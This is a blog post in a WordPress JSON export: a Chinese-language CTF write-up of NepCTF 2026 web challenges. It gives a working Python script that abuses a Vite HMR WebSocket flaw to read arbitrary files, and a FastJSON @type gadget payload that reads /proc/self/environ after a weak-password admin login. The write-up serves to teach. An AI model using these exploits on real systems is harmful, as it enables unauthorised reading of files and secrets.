{"id":340,"date":"2026-07-21T22:03:06","date_gmt":"2026-07-21T14:03:06","guid":{"rendered":"https:\/\/arknight.wiki\/?p=340"},"modified":"2026-07-21T22:03:06","modified_gmt":"2026-07-21T14:03:06","slug":"nepctf-2026-web-%e9%83%a8%e5%88%86wp","status":"publish","type":"post","link":"https:\/\/arknight.wiki\/index.php\/2026\/07\/21\/nepctf-2026-web-%e9%83%a8%e5%88%86wp\/","title":{"rendered":"NepCTF 2026 web \u90e8\u5206wp"},"content":{"rendered":"

NepCTF2026 web \u90e8\u5206wp<\/h1>\n

\u6302\u94a9\u90fd\u5728\u5e72\u4ec0\u4e48\u5462\uff1f\uff1a<\/h3>\n

\u770b\u524d\u7aef\u53d1\u73b0\u662fVite 6.4.1\uff0c\u5b58\u5728CVE-2026-39363<\/code>\uff0cvite@6.4.1<\/code> \u7684 HMR WebSocket \u5b58\u5728\u4e00\u4e2a\u903b\u8f91\u7f3a\u9677\uff0c\u5982\u679c\u8bf7\u6c42 \u6ca1\u6709 Origin<\/code>\uff0c\u6709\u5206\u652f\u4f1a\u76f4\u63a5\u653e\u884c\u4e0d\u6821\u9a8ctoken\u3002\u540c\u65f6\u670d\u52a1\u7aef\u5185\u90e8\u7684fetchModule(...)<\/code>\u6b63\u5e38\u63d0\u4f9b\u201c\u53d6\u6a21\u5757\u5185\u5bb9\u201d\u7684\u80fd\u529b\uff0c\u4f46\u5982\u679c\u8fd9\u4e2a\u6a21\u5757 ID \u662f\uff1afile:\/\/\/flag?raw<\/code>\uff0c\u5219\u4f1a\u628aflag\u5f53\u4f5c\u539f\u59cb\u6587\u672c\u8d44\u6e90\u8bfb\u53d6\u5e76\u8fd4\u56de\u3002\u540c\u65f6\/@vite\/client<\/code> \u91cc\u6709\u4e00\u5957 RPC \u98ce\u683c\u673a\u5236\u3002\u5ba2\u6237\u7aef\u4f1a\u5411 WebSocket \u53d1\u9001\u4e00\u4e2a custom<\/code> \u6d88\u606f\uff0c\u4e8b\u4ef6\u540d\u662f\uff1avite:invoke<\/code>\uff0c\u5305\u542b\u7f16\u53f7\uff0c\u8c03\u7528\u7684\u670d\u52a1\u7aef\u7684\u65b9\u6cd5\u7684\u65b9\u6cd5\u540d\u4ee5\u53ca\u4f20\u7ed9\u8fd9\u4e2a\u65b9\u6cd5\u7684\u53c2\u6570\u6570\u7ec4\u3002\u6240\u4ee5\u6211\u4eec\u76f4\u63a5\u5199\u4e2apython\u811a\u672c\u8bfb\u53d6\uff1a<\/p>\n

import json\nfrom urllib.parse import urlparse\nfrom websocket import create_connection\n\nbase_url = \"http:\/\/114.66.24.240:30308\/\"\ntarget_file = \"\/flag\"\n\nparsed = urlparse(base_url)\nws_scheme = \"wss\" if parsed.scheme == \"https\" else \"ws\"\nws_url = f\"{ws_scheme}:\/\/{parsed.netloc}\/\"\n\npayload = {\n    \"type\": \"custom\",\n    \"event\": \"vite:invoke\",\n    \"data\": {\n        \"id\": \"send:py-read\",\n        \"name\": \"fetchModule\",\n        \"data\": [\n            f\"file:\/\/{target_file}?raw\",\n            None,\n            {}\n        ]\n    }\n}\n\nws = create_connection(\n    ws_url,\n    subprotocols=[\"vite-hmr\"],\n    timeout=10,\n    suppress_origin=True,\n)\n\ntry:\n    ws.send(json.dumps(payload))\n    while True:\n        raw = ws.recv()\n        msg = json.loads(raw)\n        print(\"[recv]\", json.dumps(msg, ensure_ascii=False, indent=2))\n\n        if (\n            msg.get(\"type\") == \"custom\"\n            and msg.get(\"event\") == \"vite:invoke\"\n            and msg.get(\"data\", {}).get(\"id\") == \"response:py-read\"\n        ):\n            code = msg[\"data\"][\"data\"][\"result\"][\"code\"]\n            print(\"n[flag module code]\")\n            print(code)\n            break\nfinally:\n    ws.close()<\/code><\/pre>\n
\u6587\u6863\u7f16\u8f91\u7cfb\u7edf\uff1a<\/h3>\n
\u8fdb\u53bb\u73b0\u5b9e\u5f31\u5bc6\u7801\u7206\u7834admin\u8d26\u53f7\uff1aadmin:admin123<\/code>\uff0c\u4fdd\u5b58\u6587\u6863\u65f6\u6293\u5305\u53d1\u73b0\/api\/admin\/doc\/batchUpdate<\/code>\u63a5\u53e3\uff0c\u6d4b\u8bd5\u53d1\u73b0\u4f7f\u7528\u7684\u662fFastJSON\u800c\u4e14\u652f\u6301@type<\/code>\u5199\u6cd5\u3002\u5373\u6211\u4eec\u53ef\u4ee5\u53bb\u8ba9FastJSON\u5e2e\u6211\u4eec\u521b\u5efajava\u5bf9\u8c61\u3002<\/p>\n
\u6bd4\u5982\u6211\u4eec\u5199\uff1a<\/p>\n
{\"@type\":\"\u67d0\u4e2aJava\u7c7b\",\"\u5b57\u6bb51\":\"\u503c1\",\"\u5b57\u6bb52\":\"\u503c2\"}<\/code><\/pre>\n
\u5b83\u5c31\u4f1a\u5e2e\u6211\u4eec\u521b\u5efa\u8fd9\u4e2a\u7c7b\u3002\u8fd9\u91cc\u6211\u4eec\u5229\u7528\u4e24\u4e2a\u7c7b\uff1a<\/p>\n
javax.swing.JEditorPane<\/code>\u548corg.springframework.beans.factory.config.PropertyPathFactoryBean<\/code>\u3002<\/p>\n
\u5176\u4e2d\u524d\u8005\u6709\u4e2a\u5c5e\u6027\u53eb page<\/code>\uff0c\u8fd9\u4e2a\u5c5e\u6027\u88ab\u8bbe\u6210\u67d0\u4e2a URL \uff0c\u521b\u5efa\u5bf9\u8c61\u65f6\u5b83\u4f1a\u5c1d\u8bd5\u53bb\u52a0\u8f7d\u90a3\u4e2a URL \u7684\u5185\u5bb9\u3002\u6211\u4eec\u53ef\u4ee5\u5c06\u5b83\u8bbe\u7f6e\u6210<\/p>\n
file:\/proc\/self\/environ<\/code>,\u90a3\u4e48\u5c31\u4f1a\u8bfb\u53d6\u7136\u540e\u5b58\u8fdb\u5bf9\u8c61\u7684text\u5c5e\u6027\u3002<\/p>\n
\u540e\u8005\u53ef\u4ee5\u5e2e\u6211\u4eec\u53d6\u51fa\u5bf9\u5e94\u5bf9\u8c61\u7684\u6307\u5b9a\u5c5e\u6027\uff0c\u8fd9\u91cc\u662f\u4e0a\u9762\u7684text\u5c5e\u6027\uff0c\u7136\u540e\u5728\u670d\u52a1\u7aef\u5e8f\u5217\u5316\u8c03\u7528getObject\u65b9\u6cd5\u65f6\u5c06\u5b83\u8fd4\u56de\u3002\u8fd9\u6837\u6211\u4eec\u624d\u80fd\u770b\u5230\u56de\u663e\u3002\u6240\u4ee5\u6211\u4eec\u6700\u540e\u7684payload\uff1a<\/p>\n
{\n  \"docId\": 1,\n  \"title\": \"readme.txt\",\n  \"status\": \"draft\",\n  \"content\": {\n    \"@type\": \"org.springframework.beans.factory.config.PropertyPathFactoryBean\",\n    \"targetObject\": {\n      \"@type\": \"javax.swing.JEditorPane\",\n      \"page\": \"file:\/proc\/self\/environ\"\n    },\n    \"propertyPath\": \"text\"\n  }\n}<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
NepCTF2026 web \u90e8\u5206wp \u6302\u94a9\u90fd\u5728\u5e72\u4ec0\u4e48\u5462\uff1f\uff1a \u770b\u524d\u7aef\u53d1\u73b0\u662fVite 6.4.1\uff0c\u5b58\u5728CVE-2 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[15],"tags":[],"class_list":["post-340","post","type-post","status-publish","format-standard","hentry","category-wp"],"_links":{"self":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/340","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/comments?post=340"}],"version-history":[{"count":1,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/340\/revisions"}],"predecessor-version":[{"id":341,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/340\/revisions\/341"}],"wp:attachment":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/media?parent=340"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/categories?post=340"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/tags?post=340"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}